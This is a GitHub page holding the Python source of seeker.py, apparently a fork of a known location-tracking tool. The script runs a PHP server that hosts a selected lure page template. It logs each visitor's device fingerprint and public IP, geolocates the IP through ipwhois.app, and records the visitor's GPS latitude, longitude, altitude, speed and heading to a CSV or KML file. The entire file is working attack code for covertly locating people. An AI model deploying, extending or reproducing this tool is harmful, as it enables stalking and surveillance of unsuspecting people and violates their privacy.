forked from thewhiteh4t/seeker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
seeker.py
executable file
·341 lines (279 loc) · 8.69 KB
/
seeker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
#!/usr/bin/env python3
VERSION = '1.2.6'
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
Y = '\033[33m' # yellow
import sys
import argparse
import requests
import traceback
from os import path, kill
from json import loads, decoder
from packaging import version
parser = argparse.ArgumentParser()
parser.add_argument('-k', '--kml', help='KML filename')
parser.add_argument('-p', '--port', type=int, default=8080, help='Web server port [ Default : 8080 ]')
parser.add_argument('-u', '--update', action='store_true', help='Check for updates')
parser.add_argument('-v', '--version', action='store_true', help='Prints version')
args = parser.parse_args()
kml_fname = args.kml
port = args.port
chk_upd = args.update
print_v = args.version
path_to_script = path.dirname(path.realpath(__file__))
SITE = ''
SERVER_PROC = ''
INFO = f'{path_to_script}/logs/info.txt'
RESULT = f'{path_to_script}/logs/result.txt'
TEMPLATES_JSON = f'{path_to_script}/template/templates.json'
LOG_FILE = f'{path_to_script}/logs/php.log'
TEMP_KML = f'{path_to_script}/template/sample.kml'
DATA_FILE = f'{path_to_script}/db/results.csv'
META_FILE = f'{path_to_script}/metadata.json'
META_URL = 'https://raw.githubusercontent.com/thewhiteh4t/seeker/master/metadata.json'
def chk_update():
try:
print('> Fetching Metadata...', end='', flush=True)
rqst = requests.get(META_URL, timeout=5)
meta_sc = rqst.status_code
if meta_sc == 200:
print('OK')
metadata = rqst.text
json_data = loads(metadata)
gh_version = json_data['version']
if version.parse(gh_version) > version.parse(VERSION):
print(f'> New Update Available : {gh_version}')
else:
print('> Already up to date.')
except Exception as exc:
print(f'Exception : {str(exc)}')
if chk_upd is True:
chk_update()
sys.exit()
if print_v is True:
print(VERSION)
sys.exit()
import importlib
from csv import writer
from time import sleep
import subprocess as subp
from ipaddress import ip_address
from signal import SIGTERM
def banner():
with open(META_FILE, 'r') as metadata:
json_data = loads(metadata.read())
twitter_url = json_data['twitter']
comms_url = json_data['comms']
art = r'''
__
______ ____ ____ | | __ ____ _______
/ ___/_/ __ \_/ __ \ | |/ /_/ __ \\_ __ \
\___ \ \ ___/\ ___/ | < \ ___/ | | \/
/____ > \___ >\___ >|__|_ \ \___ >|__|
\/ \/ \/ \/ \/'''
print(f'{G}{art}{W}\n')
print(f'{G}[>] {C}Created By : {W}thewhiteh4t')
print(f'{G} |---> {C}Twitter : {W}{twitter_url}')
print(f'{G} |---> {C}Community : {W}{comms_url}')
print(f'{G}[>] {C}Version : {W}{VERSION}\n')
def template_select(site):
print(f'{Y}[!] Select a Template :{W}\n')
with open(TEMPLATES_JSON, 'r') as templ:
templ_info = templ.read()
templ_json = loads(templ_info)
for item in templ_json['templates']:
name = item['name']
print(f'{G}[{templ_json["templates"].index(item)}] {C}{name}{W}')
try:
selected = int(input(f'{G}[>] {W}'))
if selected < 0:
print()
print(f'{R}[-] {C}Invalid Input!{W}')
sys.exit()
except ValueError:
print()
print(f'{R}[-] {C}Invalid Input!{W}')
sys.exit()
try:
site = templ_json['templates'][selected]['dir_name']
except IndexError:
print()
print(f'{R}[-] {C}Invalid Input!{W}')
sys.exit()
print()
print(f'{G}[+] {C}Loading {Y}{templ_json["templates"][selected]["name"]} {C}Template...{W}')
module = templ_json['templates'][selected]['module']
if module is True:
imp_file = templ_json['templates'][selected]['import_file']
importlib.import_module(f'template.{imp_file}')
else:
pass
return site
def server():
print()
preoc = False
print(f'{G}[+] {C}Port : {W}{port}\n')
print(f'{G}[+] {C}Starting PHP Server...{W}', end='', flush=True)
cmd = ['php', '-S', f'0.0.0.0:{port}', '-t', f'template/{SITE}/']
with open(LOG_FILE, 'w+') as phplog:
proc = subp.Popen(cmd, stdout=phplog, stderr=phplog)
sleep(3)
phplog.seek(0)
if 'Address already in use' in phplog.readline():
preoc = True
try:
php_rqst = requests.get(f'https://127.0.0.1:{port}/index.html')
php_sc = php_rqst.status_code
if php_sc == 200:
if preoc:
print(f'{C}[ {G}✔{C} ]{W}')
print(f'{Y}[!] Server is already running!{W}')
print()
else:
print(f'{C}[ {G}✔{C} ]{W}')
print()
else:
print(f'{C}[ {R}Status : {php_sc}{C} ]{W}')
cl_quit(proc)
except requests.ConnectionError:
print(f'{C}[ {R}✘{C} ]{W}')
cl_quit(proc)
return proc
def wait():
printed = False
while True:
sleep(2)
size = path.getsize(RESULT)
if size == 0 and printed is False:
print(f'{G}[+] {C}Waiting for Client...{Y}[ctrl+c to exit]{W}\n')
printed = True
if size > 0:
data_parser()
printed = False
def data_parser():
data_row = []
with open(INFO, 'r') as info_file:
info_file = info_file.read()
try:
info_json = loads(info_file)
except decoder.JSONDecodeError:
print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
else:
var_os = info_json['os']
var_platform = info_json['platform']
var_cores = info_json['cores']
var_ram = info_json['ram']
var_vendor = info_json['vendor']
var_render = info_json['render']
var_res = info_json['wd'] + 'x' + info_json['ht']
var_browser = info_json['browser']
var_ip = info_json['ip']
data_row.extend([var_os, var_platform, var_cores, var_ram, var_vendor, var_render, var_res, var_browser, var_ip])
print(f'''{Y}[!] Device Information :{W}
{G}[+] {C}OS : {W}{var_os}
{G}[+] {C}Platform : {W}{var_platform}
{G}[+] {C}CPU Cores : {W}{var_cores}
{G}[+] {C}RAM : {W}{var_ram}
{G}[+] {C}GPU Vendor : {W}{var_vendor}
{G}[+] {C}GPU : {W}{var_render}
{G}[+] {C}Resolution : {W}{var_res}
{G}[+] {C}Browser : {W}{var_browser}
{G}[+] {C}Public IP : {W}{var_ip}
''')
if ip_address(var_ip).is_private:
print(f'{Y}[!] Skipping IP recon because IP address is private{W}')
else:
rqst = requests.get(f'https://ipwhois.app/json/{var_ip}')
s_code = rqst.status_code
if s_code == 200:
data = rqst.text
data = loads(data)
var_continent = str(data['continent'])
var_country = str(data['country'])
var_region = str(data['region'])
var_city = str(data['city'])
var_org = str(data['org'])
var_isp = str(data['isp'])
data_row.extend([var_continent, var_country, var_region, var_city, var_org, var_isp])
print(f'''{Y}[!] IP Information :{W}
{G}[+] {C}Continent : {W}{var_continent}
{G}[+] {C}Country : {W}{var_country}
{G}[+] {C}Region : {W}{var_region}
{G}[+] {C}City : {W}{var_city}
{G}[+] {C}Org : {W}{var_org}
{G}[+] {C}ISP : {W}{var_isp}
''')
with open(RESULT, 'r') as result_file:
results = result_file.read()
try:
result_json = loads(results)
except decoder.JSONDecodeError:
print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
else:
status = result_json['status']
if status == 'success':
var_lat = result_json['lat']
var_lon = result_json['lon']
var_acc = result_json['acc']
var_alt = result_json['alt']
var_dir = result_json['dir']
var_spd = result_json['spd']
data_row.extend([var_lat, var_lon, var_acc, var_alt, var_dir, var_spd])
print(f'''{Y}[!] Location Information :{W}
{G}[+] {C}Latitude : {W}{var_lat}
{G}[+] {C}Longitude : {W}{var_lon}
{G}[+] {C}Accuracy : {W}{var_acc}
{G}[+] {C}Altitude : {W}{var_alt}
{G}[+] {C}Direction : {W}{var_dir}
{G}[+] {C}Speed : {W}{var_spd}
''')
print(f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}')
if kml_fname is not None:
kmlout(var_lat, var_lon)
else:
var_err = result_json['error']
print(f'{R}[-] {C}{var_err}\n')
csvout(data_row)
clear()
return
def kmlout(var_lat, var_lon):
with open(TEMP_KML, 'r') as kml_sample:
kml_sample_data = kml_sample.read()
kml_sample_data = kml_sample_data.replace('LONGITUDE', var_lon.strip(' deg'))
kml_sample_data = kml_sample_data.replace('LATITUDE', var_lat.strip(' deg'))
with open(f'{path_to_script}/{kml_fname}.kml', 'w') as kml_gen:
kml_gen.write(kml_sample_data)
print(f'{Y}[!] KML File Generated!{W}')
print(f'{G}[+] {C}Path : {W}{path_to_script}/{kml_fname}.kml')
def csvout(row):
with open(DATA_FILE, 'a') as csvfile:
csvwriter = writer(csvfile)
csvwriter.writerow(row)
print(f'{G}[+] {C}Data Saved : {W}{path_to_script}/db/results.csv\n')
def clear():
with open(RESULT, 'w+'):
pass
with open(INFO, 'w+'):
pass
def repeat():
clear()
wait()
def cl_quit(proc):
clear()
if proc:
kill(proc.pid, SIGTERM)
sys.exit()
try:
banner()
clear()
SITE = template_select(SITE)
SERVER_PROC = server()
wait()
data_parser()
except KeyboardInterrupt:
print(f'{R}[-] {C}Keyboard Interrupt.{W}')
cl_quit(SERVER_PROC)
else:
repeat()